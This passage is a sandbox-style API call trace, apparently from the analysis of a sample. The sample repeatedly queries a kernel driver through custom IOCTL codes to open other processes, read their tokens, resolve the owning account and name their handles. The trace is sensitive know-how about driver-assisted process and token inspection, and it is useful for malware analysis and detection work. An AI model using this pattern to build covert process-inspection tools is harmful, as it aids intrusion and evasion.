[0094.309] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.309] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.309] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.309] PsAcquireProcessExitSynchronization () returned 0x0 [0094.309] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880052335d0) [0094.309] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.309] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.309] PsReleaseProcessExitSynchronization () returned 0x2 [0094.309] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0094.309] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.309] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.309] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.309] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.309] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5e4) returned 0xc0 [0094.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.309] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001fc4b30, HandleInformation=0x0) returned 0x0 [0094.309] ObOpenObjectByPointer (in: Object=0xfffffa8001fc4b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0094.309] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x12 [0094.309] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa800396c8c0 | out: TokenHandle=0xfffffa800396c8c0*=0xc8) returned 0x0 [0094.309] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0094.309] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.309] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.310] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.311] CloseHandle (hObject=0xc8) returned 1 [0094.311] CloseHandle (hObject=0xc0) returned 1 [0094.311] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.311] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.311] PsAcquireProcessExitSynchronization () returned 0x0 [0094.311] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880052335d0) [0094.311] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fc9350, HandleInformation=0x0) returned 0x0 [0094.311] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.311] PsReleaseProcessExitSynchronization () returned 0x2 [0094.311] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0094.311] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.311] ObfDereferenceObject (Object=0xfffffa8001fc9350) returned 0x1 [0094.311] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.311] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.311] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0094.311] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.311] PsAcquireProcessExitSynchronization () returned 0x0 [0094.311] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880052335d0) [0094.311] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fc49f0, HandleInformation=0x0) returned 0x0 [0094.312] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.312] PsReleaseProcessExitSynchronization () returned 0x2 [0094.312] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0094.312] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.312] ObfDereferenceObject (Object=0xfffffa8001fc49f0) returned 0x1 [0094.312] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.312] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.312] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.312] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.312] PsAcquireProcessExitSynchronization () returned 0x0 [0094.312] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880052335d0) [0094.312] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.312] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.312] PsReleaseProcessExitSynchronization () returned 0x2 [0094.312] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0094.312] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.312] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.312] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.312] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.312] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2dc) returned 0xc0 [0094.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.312] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001fc8b30, HandleInformation=0x0) returned 0x0 [0094.312] ObOpenObjectByPointer (in: Object=0xfffffa8001fc8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0094.312] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x12 [0094.312] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa800396c8c0 | out: TokenHandle=0xfffffa800396c8c0*=0xc8) returned 0x0 [0094.312] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0094.312] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.312] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.313] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.314] CloseHandle (hObject=0xc8) returned 1 [0094.314] CloseHandle (hObject=0xc0) returned 1 [0094.314] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.314] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.314] PsAcquireProcessExitSynchronization () returned 0x0 [0094.314] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880052335d0) [0094.314] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fe1f20, HandleInformation=0x0) returned 0x0 [0094.314] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.314] PsReleaseProcessExitSynchronization () returned 0x2 [0094.314] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0094.314] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.314] ObfDereferenceObject (Object=0xfffffa8001fe1f20) returned 0x1 [0094.314] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.314] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.314] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0094.314] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.314] PsAcquireProcessExitSynchronization () returned 0x0 [0094.314] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880052335d0) [0094.315] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fe1b50, HandleInformation=0x0) returned 0x0 [0094.315] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.315] PsReleaseProcessExitSynchronization () returned 0x2 [0094.315] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0094.315] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.315] ObfDereferenceObject (Object=0xfffffa8001fe1b50) returned 0x1 [0094.315] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.315] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.315] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.315] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.315] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.315] PsAcquireProcessExitSynchronization () returned 0x0 [0094.315] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880052335d0) [0094.315] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.315] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.315] PsReleaseProcessExitSynchronization () returned 0x2 [0094.315] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0094.315] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.315] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.315] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.315] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.315] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x42c) returned 0xc0 [0094.315] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.315] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002003b30, HandleInformation=0x0) returned 0x0 [0094.315] ObOpenObjectByPointer (in: Object=0xfffffa8002003b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0094.315] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x12 [0094.315] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa800396c8c0 | out: TokenHandle=0xfffffa800396c8c0*=0xc8) returned 0x0 [0094.315] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0094.315] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.315] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.316] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.490] CloseHandle (hObject=0xc8) returned 1 [0094.490] CloseHandle (hObject=0xc0) returned 1 [0094.490] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.490] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.490] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.490] PsAcquireProcessExitSynchronization () returned 0x0 [0094.490] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880052335d0) [0094.490] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001ff2980, HandleInformation=0x0) returned 0x0 [0094.491] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.491] PsReleaseProcessExitSynchronization () returned 0x2 [0094.491] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0094.491] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.491] ObfDereferenceObject (Object=0xfffffa8001ff2980) returned 0x1 [0094.491] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.491] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.491] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.491] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0094.491] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.491] PsAcquireProcessExitSynchronization () returned 0x0 [0094.491] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880052335d0) [0094.491] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f79e50, HandleInformation=0x0) returned 0x0 [0094.491] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.491] PsReleaseProcessExitSynchronization () returned 0x2 [0094.491] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0094.491] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.491] ObfDereferenceObject (Object=0xfffffa8001f79e50) returned 0x1 [0094.491] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.491] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.491] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.491] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.491] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.491] PsAcquireProcessExitSynchronization () returned 0x0 [0094.491] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880052335d0) [0094.491] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.491] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.491] PsReleaseProcessExitSynchronization () returned 0x2 [0094.491] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0094.491] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.491] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.491] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.492] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.492] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x320) returned 0xc0 [0094.492] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.492] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001fcf060, HandleInformation=0x0) returned 0x0 [0094.492] ObOpenObjectByPointer (in: Object=0xfffffa8001fcf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.492] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x12 [0094.492] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.492] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.492] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.492] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.492] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.493] CloseHandle (hObject=0xc8) returned 1 [0094.493] CloseHandle (hObject=0xc0) returned 1 [0094.493] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.493] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 